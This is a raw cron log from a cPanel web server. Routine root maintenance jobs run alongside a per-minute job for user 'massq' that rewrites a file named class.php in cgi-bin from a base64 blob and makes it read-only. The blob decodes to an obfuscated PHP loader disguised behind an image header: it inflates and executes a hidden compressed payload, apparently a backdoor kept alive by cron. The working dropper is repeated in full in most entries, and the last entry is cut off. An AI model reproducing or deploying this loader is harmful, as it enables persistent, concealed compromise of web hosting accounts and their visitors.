Sep 12 16:30:01 server CROND[12238]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:30:01 server CROND[12251]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 16:30:01 server CROND[12249]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:30:01 server CROND[12252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:30:01 server CROND[12250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:30:01 server CROND[12248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:30:01 server CROND[12253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:31:01 server CROND[13116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:31:01 server CROND[13117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:31:01 server CROND[13118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:32:01 server CROND[13489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:32:01 server CROND[13491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:32:01 server CROND[13490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:33:01 server CROND[13861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:33:01 server CROND[13863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:33:01 server CROND[13864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:34:01 server CROND[14247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:34:01 server CROND[14248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:34:01 server CROND[14249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:35:01 server CROND[14735]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:35:01 server CROND[14736]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 16:35:01 server CROND[14743]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 16:35:01 server CROND[14742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:35:01 server CROND[14751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:35:01 server CROND[14752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:35:01 server CROND[14749]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:35:01 server CROND[14750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:35:01 server CROND[14753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:36:01 server CROND[15569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:36:01 server CROND[15570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:36:01 server CROND[15571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:37:01 server CROND[15931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:37:01 server CROND[15932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:37:01 server CROND[15933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:38:01 server CROND[16304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:38:01 server CROND[16305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:38:01 server CROND[16306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:39:01 server CROND[16673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:39:01 server CROND[16674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:39:01 server CROND[16675]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 16:39:01 server CROND[16676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:40:01 server CROND[17069]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:40:01 server CROND[17074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:40:01 server CROND[17073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:40:01 server CROND[17077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:40:01 server CROND[17076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:40:01 server CROND[17072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:40:01 server CROND[17078]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:40:01 server CROND[17075]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:41:01 server CROND[17988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:41:01 server CROND[17990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGA